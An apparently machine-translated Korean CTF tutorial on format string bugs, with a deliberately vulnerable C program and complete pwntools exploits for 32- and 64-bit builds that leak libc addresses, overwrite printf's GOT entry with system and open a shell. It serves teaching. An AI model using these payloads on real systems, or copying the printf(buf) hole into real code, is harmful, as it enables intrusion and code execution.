형식화된 문자열 취약점은 고전적인 pwn 유형 취약점으로, 다음 블로그와 같은 소개 기사가 많이 있습니다.
- 형식 문자열 취약점에 대한 간략한 요약(1부) - Prophet Community(aliyun.com)
- 원칙 소개 - CTF Wiki(ctf-wiki.org)
- Linux 바이너리 취약점 마이닝 소개 시리즈(4) 형식 문자열 취약점_\x04 x80_Jiang Xia Feng의 블로그-CSDN 블로그
포맷 스트링 취약점을 이용하여 임의의 주소를 읽고 쓰는 방법을 요약한 실제 사례를 예로 들어보겠습니다. 포맷 스트링에 대한 자세한 내용을 알고 싶다면 먼저 위 블로그를 참조하세요.
간략한 리뷰
문자열 서식 지정을 위한 기본 형식
%[parameter][flags][field width][.precision][length]type
취약점 관련 기능
- [paramter]
num$
형식화된 문자열에서 지정된 매개변수를 가져옵니다. 예를 들어%x
첫 번째 매개변수를 인쇄한 다음%2$x
두 번째 매개변수를 인쇄합니다.printf
두 번째 매개변수가 작성되지 않은 경우에도 실제로 이 함수는 자동으로 매개변수에서 매개변수를 가져옵니다. 스택.
모든 주소에서 읽기
基本格式: addr%num$s
아무 주소나 쓰세요
基本格式: addr%num$n
스택 레이아웃
형식 문자열 취약점을 이해하려면 먼저 다음 코드와 같은 함수의 스택 레이아웃을 이해해야 합니다.
gets(buf);
printf(buf);
가 호출되는 printf/scanf
함수( )의 스택 레이아웃 main
다음 그림은 일반적인 형식 문자열 취약점에 적합합니다.
┌────────────────────┐
│ │
L ┌──────────┴──────────┐ ▼
sp────────►│ format │ printf(format, arg1, arg2)
├─────────────────────┤ │ │ │
▲ │ arg1 │◄────────┼───────┘ │
│ ├─────────────────────┤ │ │
│ │ arg2 │◄────────┼──────────────┘
│ ├─────────────────────┤ │
│ │ │ │
│ │ │ │
│ │ │ │
11$ │ │ │
│ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
▼ ├─────────────────────┤ │
─────────┤ buf-input │◄────────┘
├─────────────────────┤
│ │
├─────────────────────┤
│ │
│ │
│ │
H └─────────────────────┘
취약점 사례
대상 프로그램의 소스코드는 pwnme.c
매우 단순하여 사용자 입력을 루프로 읽어서 직접 출력하는데, 이것이 가장 대표적인 포맷스트링 취약점이다.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
char buf[0x101];
int i;
for (i = 0; i < 0x10; ++i) {
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
printf(buf);
}
return 0;
}
이 질문의 목표는 사용자가 형식화된 문자열 취약점을 사용하여 주소를 유출하고, GOT 테이블을 수정하고, 셸을 가져오도록 허용하는 것이므로 보안 RELRO
컴파일 옵션을 꺼야 합니다. 이 질문의 또 다른 함정은 buf가 4B와 일치하지 않는다는 것입니다.
- NX:
-z execstack / -z noexecstack
(off/on)은 실행 스택에 데이터를 허용하지 않으므로 JMP ESP를 사용할 수 없습니다. - 카나리아:
-fno-stack-protector /-fstack-protector / -fstack-protector-all
(끄기/켜기/모두 켜기) 스택에 쿠키 정보 삽입 - PIE :
-no-pie / -pie
(off/on) 주소 무작위화, 또한 켜져 있을 때 get_pc_thunk가 있습니다. - RELRO:
-z norelro / -z lazy / -z now
(꺼짐/부분적으로 켜짐/완전히 켜짐) GOT 테이블에 대한 쓰기 권한이 있습니다.
엮다
# 32位
gcc pwnme.c -z norelro -m32 -o pwnme_32
# 64位
gcc pwnme.c -z norelro -o pwnme_64
32비트 EXP
1 libc 기본 주소 유출
대상 프로그램에는 주소 무작위화가 활성화되어 있으므로 libc
기본 주소가 유출되어야 합니다. 포맷 스트링 취약점으로 인해 전체 스택에 데이터가 노출될 수 있습니다 .
-
main
함수가 호출되는 곳에 중단점을 설정printf
하고 이때 스택 공간을 확인하여printf
의 4번째 매개변수(형식 문자열의 3번째 매개변수)가<main+30>
대상 프로그램의 위치를 가리키는지 확인하므로 이 매개변수를 이용하여 누수될 수 있습니다. 프로그램 로딩의 기본 주소. . -
또는
%x.%x.%x...
유사한 명령문을 직접 입력하여 전체 스택 데이터를 출력하고 위 데이터가 주소와 관련이 있는지 관찰하십시오.
───────────────────────────────────────────────────────────────────── stack ────
0xffffcf80│+0x0000: 0xffffcfab → "AAAA.%p.%p.%p.%p.%p.%p.%p\n" ← $esp
0xffffcf84│+0x0004: 0xffffcfab → "AAAA.%p.%p.%p.%p.%p.%p.%p\n"
0xffffcf88│+0x0008: 0x00000101
0xffffcf8c│+0x000c: 0x5655624b → <main+30> add ebx, 0x2d81
0xffffcf90│+0x0010: 0x00000340
0xffffcf94│+0x0014: 0x00000340
0xffffcf98│+0x0018: 0x00000340
0xffffcf9c│+0x001c: 0xffffd164 → 0xffffd325 → "/home/tom/Documents/ctf/formatstring/pwnme_32"
프로그램 기본 주소 유출 후 임의의 주소를 사용하여 대상 프로그램 테이블에서 기본 주소 유출 에 사용된 내보낸 함수의 주소를 읽고 읽습니다.got
libc
- ★ 모든 주소에서 읽으려면 형식화된 문자열 포인터와 실제 저장된 내용 사이의 길이 *, 즉 사용자 입력 사이의 길이를 알아야 합니다 . 위에서 언급한 스택 레이아웃에서 는 실제로 얻은
11$
입력AAAA.%11$x
및 출력 입니다.*AAAA.414141
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)
# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real)) # sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)
2 가져온 테이블 내보내기 기능을 재정의합니다.
포맷스트링은 %n
기본적으로 4B에 기록되는데, 대용량 데이터를 쓰려고 하면 매우 불안정하기 때문에 포맷스트링 취약점을 이용하여 실제로 어떤 주소에든 쓰게 되면 보통 한 번에 1~2바이트씩 쓰는 경우가 많습니다. 4바이트 중
%hhn
정수 유형의 경우printf
char에서 승격된 정수 크기의 정수 매개변수가 필요합니다.%hn
정수 유형의 경우printf
short에서 승격된 int 크기의 정수 인수가 필요합니다.%n
정수 쓰기
★ 바이트 단위로 쓰기. 여기서는 다음 경우를 주의 깊게 고려해야 합니다. 3B를 커버하고 3번 써야 한다고 가정합니다. 우리가 쓰는 형식화된 문자열 페이로드의 최대 길이는 를 초과하지 않습니다 12*3+1
. 이를 보완하기 위해 , ljust
이 길이만큼 패딩을 사용하세요. 형식 문자열은 %{}c%20$hhn
이름에서 알 수 있듯이 형식 문자열의 20번째 매개변수를 씁니다 low1
. 다음 페이로드에서 20번째 매개변수( 11+12*3/4 = 20
) 에는 printf_got
주소가 저장됩니다.
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff
payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
경험치 완료
from pwn import *
sh = process('./pwnme_32')
libc_elf = ELF('/lib32/libc.so.6')
pwn_elf = ELF('./pwnme_32')
context(log_level='info')
# gdb.attach(sh)
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)
# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real)) # sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)
# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_got = pwn_base + pwn_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff
payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
# pause()
sh.sendline(payload)
64비트 EXP
32비트와 다른 점은 64비트 매개변수 전송에서는 레지스터가 함수 매개변수( rdi, rsi, rdx, rcx, r8, r9
)로 먼저 사용되기 때문에 7번째 매개변수는 가득 찰 때까지 스택에 저장되지 않는다는 점입니다.
1 libc 기본 주소 유출
가 호출되는 위치에 중단점을 설정하면 printf
프로그램 기본 주소와 관련된 주소가 스택에 저장되지 않습니다.
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdda0│+0x0000: 0x00007fffffffdfc8 → 0x00007fffffffe328 → "/home/tom/Documents/ctf/formatstring/pwnme_64" ← $rsp
0x00007fffffffdda8│+0x0008: 0x0000000100000340
0x00007fffffffddb0│+0x0010: 0x0000034000000340
0x00007fffffffddb8│+0x0018: 0x0000000c00000340
0x00007fffffffddc0│+0x0020: "AAAABBBB.%10$p\n" ← $rsi, $rdi, $r10
0x00007fffffffddc8│+0x0028: ".%10$p\n"
0x00007fffffffddd0│+0x0030: 0x0000000000000000
0x00007fffffffddd8│+0x0038: 0x0000000000000000
0x150
계속해서 스택 상단의 오프셋 주소가 저장되어 있는지 확인하고 찾으세요.<main>
gef➤ x/gx 0x00007fffffffdda8 + 0x150
0x7fffffffdef8: 0x00005555555551a9
gef➤ xinfo 0x00005555555551a9
──────────────────────────────────────────── xinfo: 0x5555555551a9 ────────────────────────────────────────────
Page: 0x0000555555555000 → 0x0000555555556000 (size=0x1000)
Permissions: r-x
Pathname: /home/tom/Documents/ctf/formatstring/pwnme_64
Offset (from page): 0x1a9
Inode: 1574883
Segment: .text (0x00005555555550c0-0x00005555555552d5)
Offset (from segment): 0xe9
Symbol: main
네 printf
번째 매개변수는 libc 관련 주소를 저장합니다.
printf@plt (
$rdi = 0x00007fffffffddc0 → 0x0000000a31313131 ("1111\n"?),
$rsi = 0x00007fffffffddc0 → 0x0000000a31313131 ("1111\n"?),
$rdx = 0x0000000000000101,
$rcx = 0x00007ffff7ed0fd2 → 0x5677fffff0003d48 ("H="?)
)
계산 프로그램 및 libc 기본 주소
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)
2 가져온 테이블 내보내기 기능을 재정의합니다.
같은 방법으로 형식화된 문자열 매개변수와 실제 포인터의 오프셋을 찾습니다.
输入:AAAABBBB.%10$p
输出:AAAABBBB.0x4242424241414141
32비트 루틴과 동일하지만 페이로드 패딩 필드는 8B로 정렬되어야 합니다.
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff
payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a') # +4是为了8字节对齐!
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)
전체exp
from pwn import *
sh = process('./pwnme_64')
bin_elf = ELF('./pwnme_64')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context(log_level='info')
# 1 leak binary and libc base address
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)
# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff
payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)
sh.sendline(payload)
sh.sendline(b'/bin/sh\0')
sh.interactive()
요약하다
포맷된 문자열 취약점을 이해하는 열쇠는 스택 공간 레이아웃을 이해하는 데 있습니다.임의의 주소를 작성하는 것은 초보자에게는 추상적일 수 있지만, 스택 공간 레이아웃과 포맷된 문자열의 원리를 결합하면 포맷된 문자열에 대해 더 자세히 이해할 수 있습니다. 지각. 위의 취약점 사례를 재현할 수 있다면 축하합니다. pwn 형식 문자열 취약점 탐색을 완료한 것입니다.
- 스택 공간 누출, 프로그램 계산 또는
libc
베이스 로드(%p.%p.%p
) - 스택 공간을 누출하고 형식화된 문자열 매개변수에서 실제 형식화된 문자 포인터까지의 거리를 찾습니다(
AAAABBBB.%p.%p.%p.%p.%p.%p.%p
) . - 임의의 주소 읽기(
addr%11$s
) - 아무 주소나 쓰세요 (
'%{}c%11$hhn'.format(index) + addr
)